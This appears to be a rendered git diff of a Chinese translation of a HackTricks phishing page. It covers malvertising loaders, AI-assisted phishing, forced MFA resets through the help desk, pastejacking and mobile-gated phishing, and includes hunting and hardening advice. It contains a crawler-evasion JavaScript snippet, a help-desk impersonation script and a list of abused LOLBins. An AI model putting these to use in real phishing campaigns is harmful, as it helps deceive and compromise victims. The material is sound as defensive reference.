| 一些普遍的团伙通过大规模攻击来抵消高触达操作的成本,将**搜索引擎和广告网络作为投放渠道**。 | ||||
| 
 | ||||
| 1. **SEO poisoning / malvertising** 将一个假结果(例如 chromium-update[.]site)推到搜索广告顶部。 | ||||
| 2. 受害者下载一个小型的**第一阶段 loader**(通常是 JS/HTA/ISO)。Unit 42 见过的示例: | ||||
| 1. **SEO poisoning / malvertising** 将一个虚假结果(例如 `chromium-update[.]site`)推上搜索广告顶部。 | ||||
| 2. 受害者下载一个小型的**第一阶段加载器**(通常为 JS/HTA/ISO)。Unit 42 见过的示例: | ||||
| * `RedLine stealer` | ||||
| * `Lumma stealer` | ||||
| * `Lampion Trojan` | ||||
| 3. Loader 外泄浏览器 cookie + 凭证数据库,然后拉取一个**静默 loader**,该 loader 实时决定是否部署: | ||||
| 3. 加载器外泄浏览器 cookie + 凭证数据库,然后拉取一个**静默加载器**,该加载器会实时决定是否部署: | ||||
| * RAT(例如 AsyncRAT、RustDesk) | ||||
| * ransomware / wiper | ||||
| * 持久化组件(registry Run key + scheduled task) | ||||
| * 持久化组件(注册表 Run 键 + 计划任务) | ||||
| 
 | ||||
| ### Hardening tips | ||||
| * 阻止新注册域名并在搜索广告以及电子邮件上实施**高级 DNS / URL 过滤**。 | ||||
| * 将软件安装限制为签名的 MSI / Store 包,策略上禁止执行 `HTA`、`ISO`、`VBS`。 | ||||
| * 监控浏览器派生子进程打开安装程序的情况: | ||||
| * 阻断新注册域名,并在搜索广告以及电子邮件上强制实施 **Advanced DNS / URL Filtering**。 | ||||
| * 限制软件安装为签名的 MSI / Store 包,策略上禁止执行 `HTA`、`ISO`、`VBS`。 | ||||
| * 监控浏览器的子进程打开安装程序: | ||||
| ```yaml | ||||
| - parent_image: /Program Files/Google/Chrome/* | ||||
| and child_image: *\\*.exe | ||||
| ``` | ||||
| * 搜索第一阶段 loader 常滥用的 LOLBins(例如 `regsvr32`、`curl`、`mshta`)。 | ||||
| * 搜索常被第一阶段加载器滥用的 LOLBins(例如 `regsvr32`、`curl`、`mshta`)。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## AI-Enhanced Phishing Operations | ||||
| 攻击者现在将 **LLM & voice-clone APIs** 链接起来,实现完全个性化的诱饵和实时交互。 | ||||
| 攻击者现在将 **LLM** 与 语音克隆 API 串联起来,用于完全个性化的诱饵和实时交互。 | ||||
| 
 | ||||
| | Layer | Example use by threat actor | | ||||
| |-------|-----------------------------| | ||||
| |Automation|生成并发送 >100k 封邮件/SMS,使用随机化措辞和跟踪链接。| | ||||
| |Generative AI|生成一次性邮件,引用公开的 M&A、社交媒体中的内部玩笑;回拨诈骗中使用深度伪造的 CEO 声音。| | ||||
| |Agentic AI|自动注册域名、爬取开源情报、当受害者点击但未提交凭证时自动生成后续邮件。| | ||||
| |Automation|生成并发送 >100 k 封带有随机措辞与跟踪链接的邮件/SMS。| | ||||
| |Generative AI|生成一次性邮件,引用公开的并购信息、来自社交媒体的内部笑话;在回拨诈骗中使用 CEO 的 deep-fake 语音。| | ||||
| |Agentic AI|自动注册域名、爬取开源情报、当受害者点击但未提交凭证时自动制作后续邮件。| | ||||
| 
 | ||||
| **Defence:** | ||||
| • 添加 **动态横幅**,突出显示来自不受信任自动化的消息(通过 ARC/DKIM 异常)。   | ||||
| • 对高风险电话请求部署 **voice-biometric challenge phrases**。   | ||||
| • 在安全意识培训中持续模拟 AI 生成的诱饵——静态模板已过时。 | ||||
| **防御:** | ||||
| • 添加 **动态横幅**,突出显示来自不受信任自动化发送的消息(通过 ARC/DKIM 异常检测)。   | ||||
| • 对高风险电话请求部署 **语音生物识别挑战短语**。   | ||||
| • 在安全意识培训中持续模拟 AI 生成的诱饵 —— 静态模板已过时。 | ||||
| 
 | ||||
| See also – agentic browsing abuse for credential phishing: | ||||
| 
 | ||||
| @ -524,19 +526,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md | ||||
| --- | ||||
| 
 | ||||
| ## MFA Fatigue / Push Bombing Variant – Forced Reset | ||||
| 除了经典的 push-bombing 操作外,操作者也会在 help-desk 通话中**强制进行新的 MFA 注册**,使用户原有的令牌失效。随后出现的任何登录提示对受害者看起来都是合法的。 | ||||
| 除了经典的 push-bombing,操作者也会在 help-desk 通话中直接**强制新的 MFA 注册**,使用户现有的令牌失效。任何随后出现的登录提示对受害者来说都看起来是合法的。 | ||||
| ```text | ||||
| [Attacker]  →  Help-Desk:  “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” | ||||
| [Help-Desk] →  AzureAD: ‘Delete existing methods’ → sends registration e-mail | ||||
| [Attacker]  →  Completes new TOTP enrolment on their own device | ||||
| ``` | ||||
| 监控 AzureAD/AWS/Okta 事件,当 **`deleteMFA` + `addMFA`** 在 **同一 IP** 几分钟内发生时。 | ||||
| 监控 AzureAD/AWS/Okta 事件,当 **`deleteMFA` + `addMFA`** 在同一 IP 的几分钟内发生。 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Clipboard Hijacking / Pastejacking | ||||
| 
 | ||||
| 攻击者可以在被入侵或错拼域名(typosquatted)的网页上悄悄将恶意命令复制到受害者的剪贴板,然后诱使用户在 **Win + R**、**Win + X** 或终端窗口中粘贴,从而在无需任何下载或附件的情况下执行任意代码。 | ||||
| 攻击者可以从被入侵或 typosquatted 的网页静默地将恶意命令复制到受害者的 clipboard,然后诱导用户将其粘贴到 **Win + R**、**Win + X** 或 terminal 窗口中,从而在无需任何 download 或 attachment 的情况下执行 arbitrary code。 | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| @ -550,12 +552,40 @@ clipboard-hijacking.md | ||||
| mobile-phishing-malicious-apps.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## 参考资料 | ||||
| ### Mobile‑gated phishing to evade crawlers/sandboxes | ||||
| 运营者越来越多地在 phishing 流程后设置简单的设备检测,使 desktop crawlers 无法到达最终页面。常见模式是一个小脚本检测是否有 touch-capable DOM 并将结果 post 到 server endpoint;non‑mobile clients 会收到 HTTP 500(或空白页),而 mobile users 则看到完整流程。 | ||||
| 
 | ||||
| Minimal client snippet (typical logic): | ||||
| ```html | ||||
| <script src="/static/detect_device.js"></script> | ||||
| ``` | ||||
| `detect_device.js` 逻辑 (简化): | ||||
| ```javascript | ||||
| const isMobile = ('ontouchstart' in document.documentElement); | ||||
| fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) | ||||
| .then(()=>location.reload()); | ||||
| ``` | ||||
| Server behaviour often observed: | ||||
| - 在首次加载时设置会话 cookie。 | ||||
| - Accepts `POST /detect {"is_mobile":true|false}`. | ||||
| - 在随后的 GET 请求中当 `is_mobile=false` 时返回 500(或占位页);仅在 `true` 时提供 phishing。 | ||||
| 
 | ||||
| Hunting and detection heuristics: | ||||
| - urlscan query: `filename:"detect_device.js" AND page.status:500` | ||||
| - Web 遥测:序列 `GET /static/detect_device.js` → `POST /detect` → 非移动设备返回 HTTP 500;真实移动受害路径返回 200 并随后返回 HTML/JS。 | ||||
| - 阻止或审查仅基于 `ontouchstart` 或类似设备检测来决定内容的页面。 | ||||
| 
 | ||||
| Defence tips: | ||||
| - 使用带有移动端指纹且启用 JS 的爬虫来揭示受限内容。 | ||||
| - 对新注册域名上在 `POST /detect` 之后出现的可疑 500 响应发出警报。 | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) | ||||
| - [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) | ||||
| - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) | ||||
| - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) | ||||
| - [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user